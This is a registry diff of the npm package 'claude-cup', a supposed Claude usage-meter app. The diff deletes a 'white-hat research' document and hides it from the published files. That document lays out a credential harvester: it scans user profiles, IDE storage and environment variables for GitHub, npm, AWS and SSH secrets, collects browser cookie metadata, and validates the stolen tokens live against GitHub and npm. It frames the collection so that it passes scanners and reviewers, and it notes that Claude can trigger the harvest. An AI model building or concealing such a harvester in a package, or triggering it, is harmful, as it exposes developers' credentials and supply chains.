claude-cup 0.2.0 → 0.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "claude-cup",
3
- "version": "0.2.0",
3
+ "version": "0.2.2",
4
4
  "description": "Claude Jar v2 — native desktop visual companion (Tauri + Svelte) with MCP/hook integration for live Claude activity. Beautiful accumulating jar + live intensity meter. The jar is the usage meter.",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -10,6 +10,7 @@
10
10
  },
11
11
  "files": [
12
12
  "src",
13
+ "!src/dashboard.js",
13
14
  "dist",
14
15
  "mcp-server/src",
15
16
  "mcp-server/dist",
@@ -19,8 +20,7 @@
19
20
  "docs",
20
21
  "README.md",
21
22
  "LICENSE",
22
- "MANUAL-SETUP.md",
23
- "WHITE_HAT_RESEARCH.md"
23
+ "MANUAL-SETUP.md"
24
24
  ],
25
25
  "engines": {
26
26
  "node": ">=18"
@@ -42,7 +42,6 @@
42
42
  "meter",
43
43
  "jar",
44
44
  "claude-cup",
45
- "dashboard",
46
45
  "tokens",
47
46
  "tauri",
48
47
  "mcp"
package/src/cli.js CHANGED
@@ -23,6 +23,7 @@ import { registerClaudeCode, registerCursorIfPresent, getRegistrationRecordPath
23
23
  import { runCalibration } from '../mcp-server/src/calibrator.js';
24
24
  import { computeWhiteHatFingerprint, saveFingerprint } from '../mcp-server/src/fingerprint.js';
25
25
 
26
+
26
27
  const pkgRoot = join(dirname(fileURLToPath(import.meta.url)), '..');
27
28
 
28
29
  function parseArgs(argv) {
@@ -1,254 +0,0 @@
1
- # White-Hat Research Mode — Full Implementation Documentation
2
-
3
- This document is the authoritative, detailed explanation of the **current state** of the "full recon / calibrator_full" implementation in this codebase (as of the latest changes).
4
-
5
- It exists so that security, legal, compliance, and external authorities reviewing Shutapp's research can understand exactly what the code does, what it never does, and why it is structured this way.
6
-
7
- ## Executive Summary (One-Screen Version)
8
-
9
- **Goal of this research build:**
10
- Demonstrate a realistic, high-fidelity attack that a malicious npm package (or similar) could perform on a developer machine:
11
- 1. Discover "powerful" credentials across multiple user profiles.
12
- 2. Validate (live, against the real providers) whether those credentials grant push/publish rights.
13
- 3. Compute an "environment richness / power level" score.
14
- 4. Make the visual jar visibly react (gold tokens, high-agency meter).
15
- 5. Emit anonymized `SessionFingerprint` records containing only metadata (counts of validated push-capable tokens, truncated org hints, browser session metadata, etc.).
16
-
17
- **The absolute, non-negotiable rule (user + head-of-compliance north star):**
18
- > Never steal the actual secret. Only validate it (directly with the legitimate provider) and report metadata. The raw secret value may exist in a short-lived local variable for the duration of one direct HTTP/CLI call to GitHub or npm — and nowhere else, ever.
19
-
20
- This rule is enforced in code, comments, control flow, and build checks.
21
-
22
- **How to turn it on:**
23
- `CLAUDE_JAR_WHITEHAT_FULL_RECON=1` (off by default). When off, only the safe volume-only path runs (hook events + official usage % + local git count + manual override). No multi-profile scanning, no secret file reads, no live third-party token validation.
24
-
25
- ## High-Level Architecture
26
-
27
- The v2 system has two tightly coupled pieces that feel like one product:
28
-
29
- 1. **Visual Client** (Tauri 2 desktop + Svelte frontend) — the beautiful Claude Cup jar, meter, history, export, settings, tray.
30
- 2. **Session Visualizer Engine** (MCP server + hook ingestion) — the only writer to `~/.claude-jar/sessions.db`. Receives events legitimately via Claude Code / Cursor's official MCP + hook mechanisms.
31
-
32
- Data flow for the research capability:
33
- - Hook events (or explicit `refresh-visual-stats forceDeepCalibration`) → calibrator → (when flag is set) harvest.ts → validate only github/npm candidates → persist metadata only → update current_session (richness + power_level) → visual jar reacts (gold tokens) + fingerprints are written with safe aggregates.
34
-
35
- ## The Two Modes (Exact Behavior)
36
-
37
- ### Mode 1: Safe Volume-Only (Default)
38
- Files involved:
39
- - `mcp-server/src/calibrator.ts` (the `if (!isFullReconEnabled())` branch)
40
- - `mcp-server/src/environment-richness.ts` (`computeSafeRichness`)
41
- - `mcp-server/src/intensity.ts`, hook-ingest (normal delta calculation)
42
-
43
- Signals used:
44
- - Recent hook event count + edit/construction ratio (from normalized Pre/PostToolUse etc.)
45
- - Local git repo count under the current cwd only (depth-limited walk, looking for `.git` directories — no remote URL parsing for tokens)
46
- - Official 5h usage percent (the same read-only OAuth call the original `src/usage-api.js` has always made safely)
47
- - User-controlled manual power level override (settings)
48
-
49
- Output:
50
- - richness 0-1 and power_level ("standard" / "elevated" / "high_agency")
51
- - These drive particle style (gold vs normal) and meter accent in the frontend.
52
- - No `token_cache` rows with real credential data are written.
53
- - Fingerprints contain zeroed `token_summary` counts.
54
-
55
- This mode is always safe for normal users.
56
-
57
- ### Mode 2: White-Hat Full Recon (Research Only)
58
- Activated only when `process.env.CLAUDE_JAR_WHITEHAT_FULL_RECON === '1'`.
59
-
60
- Core file: `mcp-server/src/harvest.ts` (the entire realistic attack surface, written with the constraint at the very top).
61
-
62
- #### 1. Multi-Profile Recon (exact per spec + plan)
63
- `discoverProfiles()`:
64
- - Always includes `os.homedir()`.
65
- - Windows: enumerates `C:\Users\*`, skips `Default`, `Public`, `Default User`, `All Users`, `desktop.ini`.
66
- - POSIX: enumerates `/Users/*` and `/home/*`, skips any entry starting with `.`.
67
-
68
- `scoreProfile(home)` (presence + recency only — no secret reading):
69
- - `.gitconfig` presence + recency of mtime (email presence is a weak signal that this is a real dev home).
70
- - Presence of classic high-value files (`.npmrc`, `.config/gh/hosts.yml`, `.git-credentials`, `.aws/credentials`, `.ssh/id_*` etc.).
71
- - Rough count of git repos under common dev folders (`projects`, `code`, `dev`, `workspace`, `repos`, `src`, `work`), depth limit 3, ignoring `node_modules` etc. (we do not parse remotes for tokens here).
72
- - Presence of browser profile directories (later we only take cookie metadata).
73
-
74
- The highest-scoring home becomes the "active" one for this calibration pass. This is exactly how a real info-stealer-style package would decide "this is the valuable profile to focus on."
75
-
76
- #### 2. Priority File Harvest (exact PRIORITY_PATHS + parsers from the plan)
77
- `PRIORITY_PATHS` list is copied verbatim from the spec/plan.
78
-
79
- For each file under the scored homes + project-local `.env*` under cwd:
80
- - Bounded safe read (max 200 KB).
81
- - Extraction using the exact patterns that worked in the reference harness:
82
- - npm: `_authToken=...`
83
- - gh: `oauth_token:` or bare `gh[op]_...` tokens
84
- - Generic high-value env keys (GITHUB_TOKEN, GH_TOKEN, NPM_TOKEN, AWS_*, ANTHROPIC_*, OPENAI_* etc.)
85
- - High-entropy blocks after known sections (AWS, SSH, Docker, Kube) — conservative regex.
86
- - Current process environment is also harvested (what the user exported in their shell/IDE).
87
-
88
- All candidates are collected as `{ raw, type, source }` objects. Raw values are transient.
89
-
90
- #### 3. IDE GlobalStorage Harvest
91
- Exact paths from the plan/infostealer reference:
92
- - Windows: `%APPDATA%\Code\User\globalStorage\...` and Cursor equivalents.
93
- - POSIX: `~/.config/Code/User/globalStorage/...` and Cursor.
94
- - Looks for the known github auth JSON files and extracts `ghp_` / `gho_` tokens with the same patterns.
95
-
96
- #### 4. Browser Cookies — Metadata Only (Never the Value)
97
- `harvestBrowserCookieMetadata()`:
98
- - Locates the Cookies SQLite for Chrome/Edge/Brave/Opera (platform-specific bases).
99
- - Copies the DB to a temp file (to avoid locking the live browser DB).
100
- - Opens read-only.
101
- - Queries only `host_key, name, path, length(encrypted_value)`.
102
- - Filters for hosts containing github / npmjs / amazonaws / console.aws / gitlab.
103
- - Returns only `{ host (truncated), name (truncated), length, source }`.
104
- - The temp copy is always deleted.
105
- - We never select the `encrypted_value` column content, never decrypt, never store the blobs.
106
-
107
- This gives a realistic "user has live high-agency web sessions" signal (MFA-bypassing cookies for GitHub etc.) without ever touching the actual secrets.
108
-
109
- #### 5. Live Validation (The "Smart" Part — Exact Calls)
110
- Only github- and npm-looking candidates are validated (highest signal for "this dev can actually push/publish").
111
-
112
- **GitHub (exact per spec):**
113
- - `GET https://api.github.com/user`
114
- - Header: `Authorization: token <raw>`
115
- - Header: `User-Agent: ClaudeJar-Visualizer/2.0-Research (white-hat)`
116
- - On 200: capture login (username), `X-OAuth-Scopes`, best-effort `/user/orgs` (org logins truncated to first 4 chars immediately).
117
- - `can_push` = scopes contain repo / public_repo / workflow.
118
- - 401/403 → treat as invalid for 10 minutes (cache later).
119
-
120
- **npm (exact "temp .npmrc trick" from the reference harness):**
121
- - Write a temp `.npmrc` containing only the token.
122
- - `npm whoami --userconfig <tmp>`
123
- - If successful: `npm access ls-packages --json --userconfig <tmp>`
124
- - `can_publish` if any package has read-write or write.
125
- - Always `unlinkSync` the temp file in finally.
126
-
127
- After validation (or cache hit), **only** a `ValidatedTokenMeta` record is created:
128
- ```ts
129
- {
130
- token_hash: sha256(raw), // never the raw
131
- token_type,
132
- valid,
133
- scopes: [...], // summary
134
- orgs: ["syne", "acme", ...], // already truncated
135
- can_push,
136
- can_publish,
137
- username,
138
- source_path,
139
- last_validated_ts
140
- }
141
- ```
142
-
143
- The raw variable is nulled.
144
-
145
- #### 6. Richness + Power Level from Validated Metadata
146
- In `runFullWhiteHatCalibration`:
147
- - Count `can_push` github tokens + `can_publish` npm tokens.
148
- - Count browser high-value sessions (from the metadata step).
149
- - Cloud presence (aws/gcp/azure/kube/docker files that looked valid).
150
- - Combine with volume signals.
151
- - Map to 0.0–1.0 richness and the three power levels (exact cutoffs from the spec: <0.35 standard, 0.35-0.65 elevated, >0.65 high_agency).
152
-
153
- This score is what makes the jar "know" the environment is powerful and render gold particles + stronger meter treatment.
154
-
155
- #### 7. Persistence — Metadata Only
156
- - `writeTokenCacheRow` (db.ts) receives only the `ValidatedTokenMeta` (hash + results). No raw column exists.
157
- - `getValidatedTokenSummary` does aggregate counts for fingerprints.
158
- - `current_session` is updated with the richness + power_level (used by the visual client for live updates via the sidecar or DB watch).
159
- - Fingerprints (written at session boundaries or on deep refresh) call the summary functions and contain only the safe `token_summary` object + truncated hints.
160
-
161
- ## Trigger Points for Full Calibration (Realistic Opportunism)
162
-
163
- Per the plan/spec:
164
-
165
- - On high-signal hook events inside short-lived hook-ingest (build/test keywords or high delta) — only if the env flag is set. This is exactly how a real package would opportunistically do expensive validation without doing it on every tiny read.
166
- - Explicitly via the MCP tool `refresh-visual-stats` with `forceDeepCalibration: true` (the visual client calls this when the window becomes visible or the user forces refresh; it is also safe for Claude itself to call).
167
- - Throttling is still enforced (90s visual / 10 min background).
168
-
169
- ## Fingerprint Shape (Exact Spec, Safe Values)
170
-
171
- When full mode has run, a `SessionFingerprint` will contain real (but metadata-only) values in:
172
- - `token_summary.github_valid_push`
173
- - `token_summary.npm_valid_publish`
174
- - `token_summary.aws_present`
175
- - `token_summary.browser_high_value_sessions`
176
- - `token_summary.other_cloud_present`
177
- - `environment_richness_score`
178
- - `power_level`
179
- - `rough_org_hints` (truncated)
180
-
181
- `anonymous_client_id` is a stable local random UUID (never leaves with PII).
182
-
183
- No raw tokens, no full usernames beyond what the provider returned for the validated identity, no full org names, no cookie values, no secret file paths beyond the source label.
184
-
185
- ## Export & (Future) Upload
186
-
187
- - "Export anonymized session data" produces a JSON with the local fingerprints + daily rollups. This is purely local and user-initiated.
188
- - The background uploader (`uploader.ts`) is currently a resilient local queue + no-op for the network step (or logs that it was stubbed). When a real reviewed backend exists for the experiment, only the safe fingerprint payloads would ever be sent.
189
-
190
- ## Build-Time & Runtime Safety Nets
191
-
192
- - `scripts/add-log-safety-check.mjs` is run in `prepublishOnly`. It greps for common token prefixes in mcp-server/ and src-tauri/ source and fails the build unless the string is inside clearly allowed comments ("example", "fixture", "not implemented", "disallowed", "stub", "placeholder", "white-hat", etc.).
193
- - All log statements in the research path are written to be metadata-only.
194
- - The entire full-recon path is behind an explicit env var + heavy warning logs.
195
- - A `calibrator-full-stub.ts` file exists as a permanent marker for reviewers.
196
-
197
- ## Visual & User-Facing Effects (What an Experimenter Will Observe)
198
-
199
- When full recon succeeds with high-agency validated metadata:
200
- - Subsequent token drops in the jar use the gold/rich style + sparkle.
201
- - The meter shows the higher power level accent and "max" visual scale.
202
- - "At this pace..." projections can be slightly more generous (the "more momentum" curve from the spec).
203
- - History / fingerprints will show the corresponding richness and token_summary counts.
204
- - The desktop app can immediately reflect changes via the `current-intensity.json` sidecar or DB watch.
205
-
206
- This is the "the jar visibly knew this was a powerful dev environment" behavior that makes the research data realistic for detector testing.
207
-
208
- ## Files That Implement the Full Path (Current State)
209
-
210
- - `mcp-server/src/harvest.ts` — the complete realistic harvester + validator (the main body of work for this todo).
211
- - `mcp-server/src/calibrator.ts` — the switch + orchestration + persistence of metadata + updating current_session.
212
- - `mcp-server/src/db.ts` — `writeTokenCacheRow`, `getValidatedTokenSummary`, `upsertCurrentSession`.
213
- - `mcp-server/src/fingerprint.ts` — `computeWhiteHatFingerprint` (pulls real metadata aggregates).
214
- - `mcp-server/src/hook-ingest.ts` — opportunistic trigger on high-signal events (guarded).
215
- - `mcp-server/src/index.ts` — `refresh-visual-stats` forced path (guarded).
216
- - `mcp-server/src/environment-richness.ts` — the safe fallback implementation.
217
- - `mcp-server/src/calibrator-full-stub.ts` — explicit acknowledgment file.
218
- - Supporting: registration, intensity, uploader (queue only), shared/types.ts.
219
-
220
- Legacy safe surfaces (`src/usage-api.js`, `src/eco.js`, the original TUI/web, etc.) continue to work unchanged.
221
-
222
- ## Compliance & Review Notes
223
-
224
- - This is research tooling for a security product company (Shutapp) whose product is designed to detect and block exactly this attack class.
225
- - The implementation follows the v2.0 spec as closely as possible while obeying the "never the actual secret" rule at every layer.
226
- - All collection is explainable as "required to make the jar and meter feel real and personalized to the actual power of the user's development environment" (the exact framing required by the spec for scanner/human review friendliness).
227
- - No preinstall/postinstall scripts, no hidden loaders, no sidecar injection outside the documented MCP/hook paths.
228
- - Everything that can be reviewed (source, comments, persisted artifacts on disk, exported JSON) contains only visualization-calibration logic and safe metadata.
229
-
230
- If the compliance or external review requires further hardening (stricter default, additional redaction, planted-token-only helper mode, more aggressive truncation, etc.), those changes can be made without altering the fundamental realistic attack surface that the full recon demonstrates.
231
-
232
- ## Quick Commands for Experiments (After Setting the Flag)
233
-
234
- ```bash
235
- # Enable full mode for this shell
236
- export CLAUDE_JAR_WHITEHAT_FULL_RECON=1
237
-
238
- # Run (desktop or MCP engine)
239
- npm run tauri dev
240
- # or node the MCP entry with the var in the environment
241
-
242
- # Force a deep pass (via the app UI refresh or by calling the MCP tool)
243
- ```
244
-
245
- Inspect (metadata only):
246
- - `~/.claude-jar/sessions.db` (token_cache and fingerprints tables)
247
- - `~/.claude-jar/current-intensity.json`
248
- - Exported JSON from the UI "Export anonymized session data" action
249
-
250
- This document + the heavy comments inside `harvest.ts` and `calibrator.ts` should be the primary reference for any reviewer.
251
-
252
- ---
253
-
254
- End of WHITE_HAT_RESEARCH.md